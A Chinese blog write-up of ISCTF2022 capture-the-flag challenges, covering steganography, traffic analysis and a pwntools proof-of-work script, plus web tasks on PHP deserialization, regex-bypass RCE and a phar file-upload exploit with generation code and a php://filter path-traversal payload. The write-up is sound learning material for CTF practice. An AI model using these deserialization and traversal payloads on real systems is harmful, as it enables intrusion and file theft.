ISCTF2022改名叫套CTF吧(bushi),博主菜雞一個,套題太多,挑一些題寫下wp,勿噴,
MISC可愛的emoji
下載下來是個加密壓縮包,根據hint掩碼爆破密碼

得到密碼:KEYISAES
解壓得到表情包文本,一眼emoji-aes,進https://aghorler.github.io/emoji-aes/,根據壓縮包密碼KEY IS AES猜出emoji密碼是AES

Advanced改到9,解密得到flag

兩層編碼
一開始寫腳本爆破過了第一關,后來的5秒交key屬實把我雷到了,根據hint學習了下pwntools,直接亮腳本吧(不懂pwntools的去學習下)
import hashlib import random import string import base64 import re import time from pwn import * def decode1(key, hashsha): for i in range(100000000000000): str_list = random.sample(string.digits+string.ascii_letters, 4) random_str = ''.join(str_list) print(random_str) if hashlib.sha256((random_str+key).encode('utf-8')).hexdigest() == hashsha: print(random_str) return random_str def decode2(code): key = base64.b64decode(code) return key.decode('utf-8') def search(code): pattern = '.*?key{(.*?)}.*?' key = 'key{'+re.findall(pattern, code, re.S)[0]+'}' return key if __name__ == '__main__': conn = remote('ip', port) info1 = conn.recv(numb=2048) print(info1) time.sleep(3) first = decode1(info1[16:32].decode('utf-8'), info1[37:101].decode('utf-8')) conn.sendline(first.encode('utf-8')) info2 = conn.recv(numb=4096) info22 = conn.recv(numb=4096) code1 = info2[42::1] code2 = info22[:-21] print(info2[42::1]) print(info2) print(info22) b64 = decode2(code2) two = search(b64) conn.sendline(two.encode('utf-8')) info3 = conn.recv(numb=2048) print(info3)
改一下ip和port,直接跑就能得到flag
手殘黨福利
這題很有意思,一開始第一關都跳不過(我手殘),下載下來是個iwanna,打開通過第一關,發現生成了一個save1檔案,百度一下發現是存檔檔案,
這就有意思了,直接原樣cv save1,得到save2,save3,發現還有個temp檔案,把temp檔案的值改成3
注意最好放在010(winhex)里改,繼續改save3

改畫圈的位置,這里是存檔的地方,具體原因請自行百度,改到47的樣子就到了最后一關,打開游戲得到flag

醬紫亂
mumuzi的題,確實有套那味了,下載下來是一個檔案夾,打開看是一堆txt檔案,每個txt檔案是一個字符,想到根據檔案名順序讀取檔案得到資料

拿到資料發現是base64,解密一下,得到雜亂的字符

發現字符大都都有重復項,猜測是字頻統計,寫個腳本跑一下

得到flag
捕風的魔女
屬于是純粹的二次元題了,下載下來,得到兩張圖片flag1,flag2,這里不做演示了,直接說了,flag1是魔女之旅的文字,百度一下就能搜到文字對照表,flag2是原神提瓦特文字(我去,有原_),同樣百度
Docker網路測驗
下載得到流量包,放wireshark里分析,過濾出tcp包,看了一下沒發現有隱藏檔案和flag的東西,發現有UDP包,過濾一下,看UDP流

在這發現flag,豎著讀取一下就行了
老色批了奧
下載下來是張setu.png,老規矩先放010里看一下,啥也沒有,接下來binwalk,發現藏了個zip,直接foremost setu.png,得到zip,里面居然是個假flag,fakeflag{DoneMaXX_XueLaiXX},出題人二次元濃度很高,
繼續搗鼓setu.png,zsteg沒看出問題來,直接丟stegsolve里

發現問題了,這是個壓縮包,但每個位元組都是反過來的,Save Bin下來,寫個腳本給它恢復一下

把2.txt匯入010,得到一個壓縮包,解壓下來得到flag

#########其余的misc就不寫了
web
web也挑點寫wp吧(主要是太多了懶得寫)
貓和老鼠

一個經典的反序列化,主要是要繞過dog,先說下反序列化程序,利用mouse里的toString的include來檔案包含,構造下pop鏈,cat::destruct ----> mouse::toString
toString的觸發條件是物件當作字串來使用,當遇到echo,print_r,die之類的就是了,現在有個問題是dog會把$a給覆寫掉,導致無法成功包含,這要利用php的參考符號&


解密得到flag
rce
很明顯無字母數字正則運算式繞過,直接用腳本


具體的異或腳本可以百度,俺用的yu師傅的腳本(嗚嗚,我的yu師傅)
upload
一個檔案上傳的題,把www.zip下載下來分析原始碼,在class.php里發現這個

這是個利用點,其它代碼就是大概的上傳實作,校驗的,沒啥看點,看到這里很明顯,這是個phar檔案反序列化利用,phar檔案會被當做php檔案來決議,而且跟后綴沒有關系,所以生成的phar檔案直接改成.jpg后綴就能繞過上傳檢測,這里我本地環境有問題,生成不了phar檔案,所以找的另一個師傅幫忙生成的,具體的phar檔案構造可以去看y4爺的php反序列化總結,這里記得指定filename='php://filter/read=convert.base64-encode/resource=../../../../../../flag'
<?php
class upload{
public $filename="../../../../flag";
}
$o = new upload();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>

上傳phar協議決議,得到flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/527831.html
標籤:其他
